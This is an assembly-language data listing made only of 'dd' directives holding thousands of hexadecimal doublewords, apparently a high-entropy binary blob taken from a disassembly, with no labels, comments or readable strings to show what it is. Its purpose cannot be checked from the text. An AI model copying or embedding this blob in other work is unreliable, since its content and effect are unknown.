dd 70D7D84Ah, 0DDE48995h, 51C01AF9h, 1361BA52h, 10BD066h
dd 0E5376E6Eh, 0B2162F45h, 3CDFC0FFh, 5B2C4822h, 0B0024149h
dd 40749D6Bh, 3ACA5E2Eh, 0AB971767h, 0A1C1FC19h, 9CAFE106h
dd 5AA5987Eh, 2C5A7E3Ch, 64DFBC90h, 7AECBAC3h, 0AE4BDF4Ch
dd 555A8682h, 6F775A3Ah, 42E90550h, 0E89F95DEh, 12D25226h
dd 6CBF1E53h, 7928E9B0h, 76BF11F4h, 1C680550h, 8FAA302Bh
dd 0E25FE903h, 0E5AECFD4h, 0B127EC7Fh, 0FD2C9FB3h, 24301108h
dd 98CF1A2Ch, 26CB965Fh, 0A54A6268h, 0B0542D54h, 0A98860B7h
dd 0FA7467CFh, 0B0744B7Bh, 0F0CFC4B5h, 0EDA94F6Fh, 345CCCB2h
dd 3460C0Ah, 0D8A2477Fh, 6BD1F155h, 2D7B96BDh, 12DD08A1h
dd 0AFEB017Eh, 0F120864Ch, 5FD2401Eh, 3DA46B9Bh, 3DC02008h
dd 0F3A49FBEh, 0A05516FCh, 0EA51301Dh, 27A562B4h, 0A44FF4C1h
dd 43D90061h, 0E946262Ch, 97EA0F33h, 546EBACAh, 28561A37h
dd 8126E544h, 0E9C0FE6Ch, 9DFFFCF1h, 2E932CCFh, 0BF4B25ACh
dd 0AB4F0C9Bh, 0AA5B588Eh, 154BD331h, 6880E838h, 79D3373Ch
dd 0F6E95A4Fh, 52124C05h, 0C3ECC236h, 73223AD7h, 0E9CB02E6h
dd 5E6BDC77h, 0F01D74F7h, 0F59505C4h, 0A738388Ah, 0A7956757h
dd 419DD05Ah, 0D06B2FDFh, 17B2CF2Dh, 6405A435h, 0A682E91h
dd 6158A32Eh, 190BE95Dh, 0D5F616ADh, 61D97D02h, 0B9567DDAh
dd 0B4A2F55Ah, 28041AD6h, 468E81BEh, 13800466h, 0B96BCE3h
dd 59CB09EAh, 0D10330FCh, 0F9D387EBh, 5D26DDEFh, 19C2D227h
dd 0ECDD3DFh, 0BB172836h, 622A09D9h, 0E02F0AFh, 62480707h
dd 0D1986C76h, 0D41629BAh, 0F3F1A67Fh, 375DE08Eh, 2855276Bh
dd 9427087Ch, 0AC549550h, 879DFE9h, 76C06693h, 50167EBFh
dd 5FD28439h, 0F2104415h, 7F60949h, 0FE34BB95h, 12E3CBEAh
dd 0D03F801h, 0FF804CA7h, 2D353CECh, 0F90A2316h, 96752747h
dd 14E924E9h, 60C2A570h, 0D5814A55h, 0B972DD84h, 1327586Bh
dd 4A4BDF19h, 964804F7h, 804E5804h, 4A3F2FECh, 0DE097113h
dd 0A116BE2Fh, 4002582Dh, 5D2D6EA8h, 2FA65C6Bh, 0D17DD742h
dd 0BE29424Eh, 0D2468176h, 3342BDA3h, 5A98FB50h, 0C7094778h
dd 0D041E918h, 0E999D37h, 6BF435Ch, 2C17584Ah, 5DA7B0C7h
dd 0FEF9C7D2h, 588B5DEh, 0AB60CF27h, 61E01489h, 5A49B72Fh
dd 5CACF04h, 0F7A9FA57h, 1951F360h, 24585950h, 1A677F07h
dd 7979F103h, 0E4BD5E94h, 610043E3h, 0C1056603h, 1399FC9Eh
dd 0B43973E9h, 183CE7AFh, 503B1F7Ah, 1A48A74Ch, 377C2A68h
dd 122BF5AAh, 0F0B6E8F9h, 0B4F830E9h, 23F3015Ah, 0ED5BD828h
dd 2DBD64B7h, 93252609h, 4A7D5024h, 68080E84h, 776B1903h
dd 0FF4E9AD0h, 0C6CB4591h, 0AC844A2Ah, 0CC3209A5h, 4FD6F1FEh
dd 75F22AA6h, 0B56164B5h, 0AED56B6Bh, 56E9754Fh, 0A85875A1h
dd 5AD61689h, 6355E92Dh, 6CE9FAFh, 17AAEFFFh, 1C5FF2F9h
dd 0ADEE4184h, 0B1D4E127h, 0BFA5F33Ch, 5EA67BDCh, 1721324Bh
dd 0E392A05Fh, 0FBC755Ch, 0FB314B19h, 0FEE6F7C4h, 5CA7F667h
dd 0CAFA539Fh, 35F4D25Ch, 38B54E9Fh, 8A2F6866h, 59C55C2Dh
dd 82AC6B29h, 0A4A1434Ch, 443D8012h, 5D1DA67Ah, 9E4B8D1h
dd 6AE7CD81h, 5AA428Ch, 574438B6h, 0D12396C1h, 93C1F37Bh
dd 41F10E98h, 52FA2BD8h, 24B41C66h, 6D8D9E58h, 0B1514B10h
dd 2006FD5Ch, 4FBB09CBh, 3602D716h, 7D74070Fh, 5DCE29E2h
dd 8C79B232h, 8CB5B49h, 0BF12DF0Fh, 29D244EEh, 0BD921F7Ch
dd 16CF2BA4h, 0FBD313E4h, 0BBEBC401h, 0A02B9CDBh, 2296EAE5h
dd 90250512h, 709334ECh, 48606831h, 0A008599Bh, 8EA24FEh
dd 9E23D30Ah, 45BB6886h, 5F7620ADh, 5BBD317Fh, 0D1F7018Ch
dd 0C2709168h, 0C1B5F97Dh, 81FD88E9h, 209EC2D1h, 0E5ECFC86h
dd 0FBC4BDACh, 4D927FF0h, 0A5334CB7h, 7604E94Bh, 0DB47AA7Ah
dd 170E224Bh, 43682F60h, 0AA2FE101h, 0D88B3E2Dh, 0C9FCE7E9h
dd 53D1F685h, 5D9F03FBh, 5A01FEE8h, 1D85CA81h, 0B73B3FB4h
dd 7DE93980h, 7761A096h, 0F370AA5Fh, 6547FF5h, 92E932D5h
dd 59B5260Ah, 2E59005Bh, 6FBF7E5Dh, 4033580Bh, 0D967531h
dd 7FAD8195h, 0B02F461Ch, 0EC973360h, 63E7817Ch, 5D88D75h
dd 0CF014C7Fh, 0CAAB5D7Bh, 8B4A7C58h, 22D54A16h, 75A4D882h
dd 7F09BE4h, 50BDE0BAh, 3F52007Bh, 0B1357DA3h, 3A0A2C62h
dd 0BD8E51E9h, 28EE8181h, 0E1C74F11h, 4A29016Dh, 0C276A2D2h
dd 665002C0h, 3412748h, 95052B29h, 0DC38BB32h, 0FEF52685h
dd 0D6F7735Ch, 5B3B1CCBh, 96BA74Bh, 975182A7h, 0F78100EFh
dd 673D4AEBh, 92B2927Ch, 892FECFDh, 56BD6DC0h, 71AFBF80h
dd 0EB644A6Ch, 4CEFAE20h, 5E9BE293h, 7403EB2Dh, 2C943E9h
dd 615DBE78h, 9D7261Fh, 937E80BDh, 0ED640734h, 45CFDE4h
dd 0ECE93896h, 0D8F6AE8Ah, 96D55C8Bh, 5B1C40E2h, 0EB33D59Dh
dd 69F78D8h, 9749E980h, 0C780DD00h, 0FC27303Bh, 7A6C5D5Bh
dd 0B26BE8BFh, 17527350h, 0EC4DE9E6h, 0DABF4A33h, 0DE90CF2h
dd 0FCB27AFh, 79D41CBBh, 17E7D766h, 0C4BAEA4Ah, 0AECE123Ah
dd 0C05B46A0h, 6F4B561Ah, 55EC015Dh, 7B08BD52h, 17F03CB8h
dd 7038B925h, 6E8C257Bh, 55288548h, 2DD3F680h, 0F158E3C0h
dd 722F39A0h, 6627E79Ah, 0EB04F170h, 74252145h, 28269DB1h
dd 365D4EDFh, 68182558h, 67FB6CAAh, 3F2981C0h, 7A25AAC5h
dd 71981B05h, 4A4BE3EBh, 35F2DEFFh, 0C0777A8h, 1DE53139h
dd 10A209C1h, 51293A20h, 804EEEBh, 0AED64FBAh, 65538DB6h
dd 14FA3B19h, 4B4189Ch, 0BB41B6F0h, 0F631C391h, 647579A7h
dd 0C7A430F2h, 5C80116h, 2D683B0Fh, 2BB68520h, 0BE5659D0h
dd 0D8771FB0h, 0D99C0C67h, 900CF347h, 0C04D027h, 0F62902AAh
dd 0D9E1E91Bh, 0D19DA3FDh, 6C4005E2h, 0FC0E5D19h, 0DC5B2ACCh
dd 871C76B7h, 6E3BC1A1h, 0E22EED60h, 8A2DE963h, 548CFE12h
dd 7557809Fh, 987DAF05h, 0D716549h, 0BB3FC501h, 0B7C03FE2h
dd 0BD28FB36h, 270DB017h, 0E9F59700h, 0BFFEFDB3h, 829D36EEh
dd 0A2715C8h, 0AF7FC913h, 8DBBE564h, 0B48F985Eh, 25D33C8Fh
dd 282B2841h, 0C72A0BC7h, 59D4439Dh, 3EADF807h, 0E7C06DC0h
dd 54982009h, 110B84Bh, 46285419h, 7BB19AE9h, 8DE52C34h
dd 40C29B40h, 0F86D5ACBh, 0AB614A74h, 81040625h, 6BEA8E83h
dd 1B736DCh, 5BF920A9h, 9FBBF180h, 0FAE4E506h, 880BA113h
dd 35973110h, 9FBAC034h, 0D0270656h, 0B8F3E604h, 0BB514A4Fh
dd 0C2F448Eh, 99B7ECB3h, 0E251FB75h, 365C261Bh, 740C5F62h
dd 0A9029397h, 0DA139ECBh, 435D0545h, 0EFC164BAh, 419DF6F0h
dd 9BB2A04h, 3B8B114Eh, 697BBA00h, 0E97C09F5h, 7D3EA5E7h
dd 0B4061EA7h, 524DB03Bh, 1F53FBBDh, 592EF30Eh, 795E1979h
dd 941CC616h, 9824D999h, 80D8AC6Fh, 8D63E0BEh, 9654FC68h
dd 42D62D4Ch, 8E42C926h, 0C5B503E7h, 0A5D156B9h, 0A59B5624h
dd 4C717570h, 681711F0h, 0D6F3753Ah, 2A978E00h, 0CD315993h
dd 0D39FEE95h, 0E5BBACA6h, 0FF0D130Ch, 4CA8C259h, 91802E53h
dd 4A3D46C6h, 9E511828h
dd 47BD6F02h, 0D853E974h, 2D45B012h, 10742F98h, 0B27D7C2h
dd 6B97C340h, 0C795530h, 5BC67EF7h, 6EBDA153h, 0E266D9F0h
dd 0C1960ECh, 9D3B6917h, 252CF295h, 23D4DD92h, 5E01EEEh
dd 6853555Ch, 9687FF6Fh, 5A845ED2h, 29A40CC2h, 310C613Eh
dd 4EDC6416h, 453F183h, 7DA6CF25h, 15AEF012h, 6E4E7F7Ah
dd 7B6904ABh, 47981D60h, 0C23B544h, 0FB89CBD4h, 0E6655820h
dd 83A92987h, 0FAD61F14h, 24DC12D6h, 0B4A51065h, 9D7192Dh
dd 79637D9Ch, 56956A73h, 2274E2B4h, 0E0978346h, 0C1C98243h
dd 2756C6BDh, 0B9F030B4h, 0B8ADEF40h, 33200051h, 68D8297Ah
dd 989701EDh, 28091756h, 20841654h, 58486E2Ch, 0F6B954F9h
dd 2B92829Fh, 5EE99949h, 0B532BC7Eh, 0AA8489B9h, 9F49B202h
dd 4BA44A15h, 0F01091FCh, 1B84E3Ch, 0B497E33Fh, 71D2000Dh
dd 0E972A665h, 4B9FFB37h, 6979F863h, 0DE85C28Bh, 2E1E95Fh
dd 5A1134F3h, 30684026h, 609A764Fh, 0D88A0E4Bh, 0C89F1F59h
dd 17BEEA24h, 1E17F436h, 8513934h, 3EF30C85h, 0D39CF067h
dd 2D4E5DE6h, 177D4EA2h, 0E934B560h, 841D856Eh, 4A7BC08Ah
dd 516AC785h, 72FEC3F4h, 1AFF4BAEh, 0F85F0F65h, 2587273h
dd 3BEF145Ah, 0E87DC083h, 2FEA0670h, 64D608DCh, 0BFF22970h
dd 316F5116h, 8477A9B2h, 0A5BC1808h, 7E955C1h, 0F175C211h
dd 0AF99BDCCh, 2E5BB254h, 362828AAh, 2049704Eh, 0DDBD62CDh
dd 0BA82F7E7h, 80874365h, 6E83E2E8h, 0A12B5059h, 0E3518B9h
dd 6F551876h, 0E933450Bh, 68CEC0C3h, 97377096h, 975F1C75h
dd 54C1F9B2h, 0E78A7F67h, 0E9052B4Dh, 0FFFEF8CBh, 0B5F038DDh
dd 0A77CB733h, 758368A4h, 0F93B3C71h, 1EAFAB2Ah, 75E28B55h
dd 1CA62EC8h, 3C3CF997h, 8D73497Dh, 0A72C017Ch, 2858C630h
dd 0A0E52CF0h, 92FBF1E9h, 0C2EC2008h, 0E5CD0126h, 92DF12Fh
dd 88C4793Eh, 0C2685602h, 0DC627254h, 9D0100A7h, 0F589FACBh
dd 0E858C1B6h, 0F06327E9h, 0E2A07A64h, 0DF8284A1h, 0C6396AF8h
dd 83EEB92Eh, 0F65AF708h, 0BFCFD9D7h, 0E9A1C7FBh, 3287EDD8h
dd 87C0DBB1h, 4E13203h, 800C6CE0h, 0A50BEC3Dh, 660401ADh
dd 0A4C39468h, 0BC47EEF4h, 38DD2560h, 5E226808h, 5FDF7319h
dd 2C23AFE1h, 0A9E9CE75h, 0B021FAC3h, 6C5EB70Ch, 28825D17h
dd 4259C051h, 9B76B744h, 72F8DB89h, 27851DE5h, 95B16E5h
dd 9452D7E0h, 7A58B70Bh, 7EEE751Ah, 44C73E2Dh, 0C9534C3Dh
dd 7FF9802Dh, 0A50273CAh, 5710842Ch, 2DF74E2h, 4A62E97Dh
dd 0F700FF21h, 2EEB0843h, 881F7A4h, 42F5FC59h, 75682A16h
dd 76D544BAh, 0E85E0B83h, 92821552h, 2DF2770Ah, 2A2107Fh
dd 68027B1Dh, 254457E8h, 68C5BDB1h, 59896DF9h, 482F91E8h
dd 0E9B3989Dh, 951952FEh, 9587FE4Bh, 17FBEB60h, 5A621F75h
dd 0EB025283h, 0D94E34CEh, 113720C8h, 78A21E53h, 0CCE09424h
dd 0BE828B8h, 0BEC8C020h, 0E0BBD91h, 6CD537CCh, 90C82F4h
dd 7D91FD08h, 270B6C4Ch, 0F98F5F05h, 0E4759A69h, 4F01F065h
dd 3E96F36Eh, 2D0402DEh, 0C61069E9h, 80E2EC4Fh, 0E9BEF588h
dd 0DD215867h, 72BBB551h, 0B9F067A0h, 0A72D747Bh, 2B02571Dh
dd 5EC8C8D8h, 632A6859h, 5EB54427h, 5DEA62CBh, 0E9060CDCh
dd 0A1366B02h, 0F3C15ED3h, 95428BE8h, 318951DEh, 0DF9986D1h
dd 0D5CB5115h, 101FE22Ah, 530F0845h, 0BF656ABBh, 80B1AF40h
dd 7893FFF6h, 302E1DE0h, 0EE0425Bh, 2C8F042Dh, 0AE0563B6h
dd 0E90971F8h, 8763EC83h, 0B4C4C5CDh, 0D86BD706h, 2021D018h
dd 58BD564Eh, 0FD2C0FE0h, 0F684C828h, 5768CCE4h, 0F39A449Fh
dd 124EE27Fh, 1F37707h, 701EB210h, 5352D809h, 0E0298B57h
dd 5BB368B8h, 229DCC29h, 0F8599A40h, 5FE1F0D3h, 0F69ED293h
dd 5C95A450h, 0D8FAF3C8h, 1C23776h, 0E3F95FC5h, 203AD5A5h
dd 7FA72A73h, 0E9126FC6h, 61EB54A5h, 6A9CDDE7h, 0C14C3EA6h
dd 0E77FC40Eh, 0C9900156h, 3B3AD360h, 7E6E904h, 0CE8F98AAh
dd 2F68BF40h, 9C661750h, 0EC30BB02h, 63DCF659h, 37BEDCCEh
dd 43BDD4B7h, 0DB32DBF7h, 0B0CFB373h, 0C04B5B52h, 7F76FB18h
dd 0FD50017Bh, 9ABF4F9Eh, 8B50D529h, 58C32915h, 20F658DEh
dd 0EF564A79h, 81623E8Eh, 310219AAh, 425479DFh, 0E97F3FE9h
dd 5D20D5EBh, 772A2759h, 2605D858h, 170957Eh, 88C10FFh
dd 311E5B30h, 514BF7AFh, 68556D30h, 944C123Fh, 131BC62h
dd 0EC360D1h, 4131D509h, 2AD8770h, 8F06772Dh, 717E056Ah
dd 58D0E98Bh, 30F497BDh, 0F2BF855Ah, 7FF0E192h, 0F1201ED9h
dd 123B3D6Ah, 2F57E202h, 78DA820h, 38F0890Fh, 0B5F3E939h
dd 6850F120h, 95256547h, 7529570Ch, 3D8F1603h, 2E5D4BDAh
dd 7A5A61CEh, 19303829h, 5B9C9ACAh, 0C413EEEAh, 4A9A18D2h
dd 2C78D7D3h, 3B99F70Bh, 5C025F36h, 0B05DCB89h, 134FE347h
dd 0C31C832h, 30F846F9h, 86EA70D6h, 5B0A0C39h, 0C85E6F33h
dd 8B8500Ah, 845BFCADh, 9035B4E9h, 0DB6DC375h, 1F6F0248h
dd 14104505h, 908B068h, 77F8FBE9h, 0B42FE398h, 3F01FF0Bh
dd 0CCE2B652h, 801F2CB2h, 0D35DBBC3h, 0CC65EB5Dh, 9A4FB5h
dd 557FBD76h, 0FAF442F1h, 5C015F96h, 1AA86851h, 0C271E77Ah
dd 7F08ACE9h, 65D626A6h, 977CEAF7h, 0EE385F17h, 0FEF920DAh
dd 0C182BDE6h, 0EFCCA4A5h, 7E06C970h, 731202FCh, 0BAEAB24h
dd 0B15613DFh, 0AF58ED82h, 0FDC9B242h, 0D0802DC8h, 0F00926DEh
dd 464BDE2Dh, 56009739h, 7B61BFBEh, 0CE813Fh, 1AE50627h
dd 0F7EED146h, 2FEDDE4Bh, 0FF1C8F16h, 665C9F71h, 0D851D792h
dd 0E3AA0A62h, 2CA70077h, 13143112h, 8C7D1C68h, 0E802E127h
dd 72E9CB57h, 0B2C0EBCEh, 3C8FCC4h, 327EF8B8h, 0D8458095h
dd 33004B0Dh, 7D2D48C7h, 0B7AF46Ah, 0F1BD9135h, 0E0BE3A05h
dd 0ACBA5E33h, 0EBBAE3F2h, 3B947595h, 40B94555h, 31F28797h
dd 0AB4F03B0h, 96DBAC15h, 89CF1B1Ah, 9B2B8225h, 0F1ED507h
dd 0D3E17C5Bh, 12A6A32Ah, 0A7EBE829h, 215D23D7h, 68560223h
dd 58CC3F4Ch, 980FFD20h, 0FEBC29C5h, 0C2CB4E3Fh, 26D8C75Fh
dd 0FB5CC73Ch, 40758E05h, 8881B7BAh, 20B85BFEh, 0E9C40ADCh
dd 0C2F4EF1Fh, 2AE30EE1h, 0F1C05F25h, 1D651511h, 8BFCE925h
dd 788974C1h, 0A74FE7E9h, 5A1150D7h, 466870ECh, 0F896F50Fh
dd 21D7808Bh, 0FEC6FF17h, 0D45CFC62h, 0B9BAC126h, 72DF9CEh
dd 9DDE57C4h, 3A4CAC4h, 0FF5F20DDh, 1A07C705h, 0AFC01FFCh
dd 7CAC0BEDh, 87EF043Dh, 865FA72Ah, 880288Fh, 0FE7C3159h
dd 4903564Eh, 0BE921174h, 7EF51ECh, 425F453Bh, 5665AF14h
dd 4CB75087h, 4AA6795h, 12F31499h, 61FB0E53h, 74E526B3h
dd 0A99227Ah, 0F0C85864h, 670BBF79h, 0E174B3DDh, 188FF7F0h
dd 3AA96858h, 0D1BF337Dh, 8B76384Eh, 2207310h, 0FC28C1B7h
dd 0ECF38366h, 28C20F4h, 0A0049790h, 0F128A1B1h, 0C36930C0h
dd 0C85995FEh, 37A146C5h, 0B2FA857Fh, 0A2E985B2h, 9D7F39E8h
dd 0E9C1B6F3h, 68A0BB82h, 4755257Bh, 866276DEh, 5A6602F2h
dd 0B0B3A0AFh, 0FF975D25h, 9B69AAB4h, 7830283h, 17D409BCh
dd 0C1B142C5h, 27CB1D20h, 57CCFEE6h, 34396813h, 30C05734h
dd 72ECD084h, 320559C0h, 0F428FF0Bh, 622481FBh, 26AC1613h
dd 0D6B3E35Ah, 80103FC9h, 0A14D5A58h, 0FC04BA9Dh, 58920A5h
dd 889664BDh, 0AFA385FAh, 0D501F2D0h, 21CD2668h, 99A5BF3Ch
dd 9DC54455h, 8B497358h
dd 5C41603h, 0FAC49CB8h, 0F73005A9h, 3F51D22Ch, 23591FB1h
dd 2C8C8418h, 3916F268h, 649864CCh, 2E5C4114h, 0FB3AB6B1h
dd 3646CF21h, 79780F33h, 0FA10D2E6h, 0C2D24777h, 57E72B9h
dd 2B26CBE6h, 0D113C016h, 185E6D56h, 0F26090B1h, 7D2EB898h
dd 3EEB5C11h, 9760474h, 93CFE95Eh, 0F4825917h, 0AC686CB8h
dd 0EEA5853h, 47E78853h, 0EF555BFDh, 14EA2DEAh, 0B2F90175h
dd 9D0281Fh, 81A41128h, 2F31D95Ah, 23122FF3h, 0D5FA4F6Dh
dd 0F81AE0E4h, 90D78702h, 0BF60C4E9h, 0EAB5FF52h, 88F986F9h
dd 0C5E6584Fh, 0B2384B20h, 3ED3242Fh, 0A97107EBh, 0EAD55809h
dd 65922F68h, 0A8BCC69Bh, 98FF4A0Ah, 0F1B2CA04h, 66B238C6h
dd 0B42AF8FBh, 0E54C2F87h, 0E49DD5B0h, 25387827h, 887612F6h
dd 0C0C19A50h, 1049BA26h, 424B2DDFh, 0E812FADh, 2062E729h
dd 7B959D0Fh, 88E9614Ch, 8AE36B8Dh, 1B79E318h, 0BF80F5D3h
dd 0DA0A09BCh, 2F72155h, 7ECC796Bh, 125145B9h, 0C80CBAF7h
dd 44E7478Bh, 0FF41D073h, 0C0B936D4h, 0CD3CF1F7h, 89259F76h
dd 3E3953CAh, 5F77DE7Dh, 7CD4EF0Ah, 2C149503h, 30C0535h
dd 0C0CA152h, 0B252E390h, 0D4794370h, 74E0712Eh, 0ED536583h
dd 68519808h, 9912125Eh, 698E83Dh, 5B6A2C3Ch, 0DA970E8Ah
dd 0CB4F8489h, 0EEDBF7E4h, 0B2E9F431h, 2768D964h, 2C5E6073h
dd 6059553h, 0E04410E9h, 0CAEF1CBAh, 54BE2717h, 1698AD9Bh
dd 0C29EAAE9h, 49C50501h, 0D83F1E0Ah, 8FFF9923h, 262BF20h
dd 88C12378h, 8F02EA83h, 805EED77h, 1965F28Ch, 51899F4Dh
dd 3083D580h, 44B55A28h, 4BE3C078h, 2FD3CB81h, 5316CD12h
dd 0B039C7EBh, 98189DEBh, 0DE4CB0B8h, 5EF30489h, 0CAE6DF89h
dd 49E9560Ah, 8ED5A78Dh, 8724C161h, 0BE2BC361h, 25683F29h
dd 2B6F2341h, 685C058Ch, 0BD8C0EF3h, 5BF10CBAh, 0BCDE3C49h
dd 3A760C02h, 0EDD2BE9h, 0FEB804A2h, 7FCB5CF4h, 3DE36860h
dd 0FB056028h, 51E78D09h, 26B1D69Dh, 0FE43C952h, 3FE40EA0h
dd 0C08314BFh, 0A8054007h, 2309ED28h, 521B30E9h, 53E70A5Fh
dd 0C96159h, 227C2492h, 13984F47h, 0D700BB41h, 1201E1E2h
dd 0BEF75D33h, 3547C207h, 0EAC07885h, 0B0441F7Dh, 0B85B20BAh
dd 0C296812h, 0AAFE38FEh, 0A0E6695Fh, 84F1B94Fh, 6C14A04Ah
dd 0EDABB54Eh, 0D2143A18h, 0C8151041h, 34206801h, 0ED5B1E82h
dd 2F543CFCh, 92F3AFD2h, 0B64BA0F8h, 0BA20D2BEh, 90A74757h
dd 5211C921h, 472D384h, 90FF4F5Ch, 0D51FCB29h, 2575547Fh
dd 0F1BF0A96h, 4402C0Fh, 83DFAA8Bh, 26BAFFA5h, 9F08C67Eh
dd 385E25DEh, 1FB73B08h, 348D4A5Dh, 0E2060806h, 861B5527h
dd 259B9810h, 0E4DAA55Ah, 0F6910313h, 0C9F25496h, 0B8FFB850h
dd 0C7149952h, 8009C9ACh, 0EBD3F78Eh, 0B050F1C0h, 706FBA5Bh
dd 0BEF05C39h, 40B4341Fh, 5193B353h, 0C94EA4E9h, 0FA7E34ABh
dd 0C6BBD516h, 7140CDEh, 75E06425h, 0D8B2294Ah, 152D2150h
dd 0AD38EE32h, 0CDD60573h, 0EA01C711h, 1089CA90h, 0E82E4BCBh
dd 52F4000Ah, 92BF2997h, 0FF5E4A51h, 4BDDE84h, 0FC09D406h
dd 0E702117Ch, 430F4472h, 4661C147h, 44D2992Eh, 0A5A60BE8h
dd 3EA90F63h, 0D3FFD6B6h, 33EB88F8h, 95DFF60Ah, 30B4B502h
dd 0E3E50FEFh, 0E4E65F8Eh, 7B820C43h, 0C5930411h, 0D3F22D81h
dd 17EAD73h, 0E9E82107h, 1FE03A2Ch, 0E7CFB554h, 1282E6A7h
dd 0AC307168h, 9E81A484h, 28005B35h, 0A15C2CC8h, 7DC73E59h
dd 7725EFBEh, 64B305C0h, 4F6E4695h, 4F9078Ch, 2C682195h
dd 53206ADDh, 92F4B5E9h, 1CF858DCh, 0B90E4030h, 200C4E91h
dd 0C4CA2104h, 0E380AEAh, 2CB9ED9h, 7EA961DCh, 1BD99E43h
dd 1802FB24h, 541F2763h, 0DAC4A01h, 14171C08h, 632520CAh
dd 9B68A0B0h, 0B850011Dh, 5E55D29h, 263F700Dh, 8B033575h
dd 0F72CAF21h, 0C4AC0D8h, 0BF2E4912h, 473AE913h, 72E388B2h
dd 8851556Eh, 37AF6805h, 28172CB3h, 9139FBB1h, 0C05AD368h
dd 54234DFBh, 86E91813h, 0BD4A3EFCh, 599BA174h, 8994F96Eh
dd 9FE95077h, 1BB5F6FEh, 2A05E3BCh, 16223427h, 0B11C87BFh
dd 0CF3130F6h, 54A8B2E7h, 9D05EEF5h, 0F5CB897Eh, 0AD4131C2h
dd 8DE36E2Ah, 0D897884Eh, 6C658BB7h, 4D4AC26Eh, 5FE03879h
dd 6DCB2261h, 0BD7C54C6h, 0B31D9093h, 4A893A30h, 0EA4BC4A7h
dd 0C35D5391h, 0A1F34581h, 61A92E80h, 2141F4D7h, 0F9259C92h
dd 0BC15E87h, 9D0007E7h, 2C0B7488h, 11286AB4h, 0FF3DAC0Ch
dd 10570C1Eh, 4784F72h, 937C9071h, 0CBAF22D4h, 0A5152D9Bh
dd 99BE599Ah, 96886B62h, 0BDA32DE9h, 0BE0A11D7h, 4898EC3Fh
dd 11BB056Bh, 37C47D29h, 3FA14D87h, 0CE4074B7h, 5A9E2E3Ah
dd 0A305EA09h, 0BA497F11h, 58D654FDh, 0FABFCAE9h, 1A572D73h
dd 7FB18E18h, 0B9183328h, 0FB721709h, 0E7707703h, 0B4590881h
dd 170412ECh, 8EFB3C8Bh, 0AE101372h, 0E3E706BCh, 0A958EDB9h
dd 1CB94E31h, 7B3B412h, 27FA883Bh, 0B1DE95D1h, 64DA2F43h
dd 4A16354h, 5576A853h, 48A18B51h, 0AF2E169Dh, 38078AFAh
dd 0ED7EC130h, 28680E1Ch, 0D9FB1636h, 0FA5F111Ch, 8BC112C9h
dd 0BFA9D0BAh, 0DCCB3378h, 0F21D7EB4h, 0CE17527Fh, 3B8C687Dh
dd 0D696795Dh, 2660E725h, 3E10C22h, 7F9DC223h, 565B4183h
dd 32A9EFE9h, 0C4E77EFh, 0C4809180h, 0EAFE7399h, 88772DECh
dd 0C3FAB34Ch, 1810BFB2h, 0E909F330h, 1AAD4F8h, 9C670583h
dd 7D9C8153h, 5573EC77h, 0DCE0F8B0h, 0EECB2980h, 57EBAA36h
dd 775A9EFEh, 4C065D79h, 0A0ABFEE7h, 324D6Ah, 0E6810287h
dd 38450A89h, 0FB144490h, 2FB5FAFDh, 22C5DEF1h, 0C42CF398h
dd 0A909FC5Eh, 0B4F7E83Bh, 0DEC5BA91h, 9313A32Eh, 12F6F3BAh
dd 1BE8A6E9h, 0DF30EE4Bh, 0B00F5CFCh, 5A7825F9h, 22D49C5Dh
dd 5792C268h, 7D5A55F0h, 52517031h, 12FD5D02h, 0FB1AF7B7h
dd 569DE702h, 0B221A60Eh, 1548B78Ch, 0EC2443ACh, 3359B45Ch
dd 8FC47445h, 6F7763AEh, 3E535DF9h, 0FD6AB9E1h, 51AC4C4Fh
dd 13FB2B78h, 999B8A4h, 0E9295F08h, 6E4611h, 80D6F6E5h
dd 0F7F4C0E6h, 0A552F04Ah, 9FE52FAh, 2A7E6C03h, 5DE1806Bh
dd 2BA3C0Dh, 176F5713h, 0D04958E9h, 79F82F5Fh, 0BF91CA3Dh
dd 0A7C41768h, 5AA1790Bh, 9FC7FA84h, 0FFBCEE79h, 643D3325h
dd 94E5F8E4h, 270C6AF7h, 0E91286D2h, 72EED56Dh, 0C65F53FDh
dd 27597CEh, 57EC9EE5h, 8103A964h, 0EE4B2CF1h, 590C0769h
dd 0E5432316h, 49CD5D1Dh, 2068B14Fh, 7E9F5554h, 6E844956h
dd 0D2310504h, 23BBEC85h, 0AAD4EF28h, 59E186B4h, 0ED9777D0h
dd 7EF04E3Ah, 8A675DBEh, 0D00B0275h, 7E7D6849h, 0CF820971h
dd 5C523E5Ah, 7C031DBh, 42CBCC41h, 681869D8h, 0E1689F92h
dd 80838055h, 0E72859CBh, 76C6A16Eh, 26544866h, 7AA57BDFh
dd 28C01724h, 8A4E05C4h, 943FAC46h, 54052570h, 0CC31506Dh
dd 77624895h, 0CDDA3D79h, 0B05E0858h, 0CC48900h, 21F4E0D3h
dd 7664969h, 303FEE05h, 10DE67F7h, 3997E96Ah, 30E7D6A9h
dd 5FCEF28h, 70651525h, 1B559F59h, 0D4E9C85Dh, 0EB599D08h
dd 9E086B24h, 375A1CB7h, 0E176958Ah, 0CC003B6Ah, 82B563Eh
dd 6F24101h, 2B951C08h, 2FC44523h, 0F209A6ECh, 7E256AE9h
dd 8491969Ah, 8658801Bh, 0B97B6CEEh, 7434842Dh, 46D047E1h
dd 549D08C2h, 68520EA2h, 0AD461D49h, 0ACD9722Ah, 6957C104h
dd 94EA4E3Fh, 5808097Ah
dd 2ECA5075h, 863E8B2Ah, 565AD731h, 49E78102h, 8E059D1Ah
dd 9C02C5A1h, 0D6F4DA04h, 6908AA17h, 74150103h, 6A31E3A0h
dd 112ECA6h, 81B2ABD7h, 0E4B3EFB4h, 0A9C61913h, 403E9A71h
dd 2579081Ch, 0CCC536ABh, 7C6D908Bh, 5C054F5Ch, 328BB35h
dd 5B544045h, 34AF294Fh, 0D2F1BB3Fh, 0EFD7522Fh, 6785E0C4h
dd 4E2288FBh, 0A9F7D35Fh, 0C325E95Dh, 26E6465Fh, 0CF7D3802h
dd 67DE352Eh, 7D4C6CD7h, 9FEB27D5h, 4A820E4Ah, 31DFC204h
dd 2108119Dh, 5A1CAF60h, 17186856h, 0EC6F2F26h, 44EB5FD0h
dd 0FA015CC1h, 9E5A6244h, 931041FAh, 2A5BEC7Bh, 93508AA9h
dd 3A9B03C6h, 0F5310673h, 8ED4C12h, 69125112h, 0C2E2E7ACh
dd 0FD654A5Dh, 7C8ED941h, 8BBB3A25h, 155542h, 4B05504Fh
dd 0C0E92C09h, 3B77A661h, 4F0A40A6h, 216086A1h, 9B112070h
dd 667C6272h, 65BBE109h, 0FFD644h, 67112E73h, 3ABA0DE9h
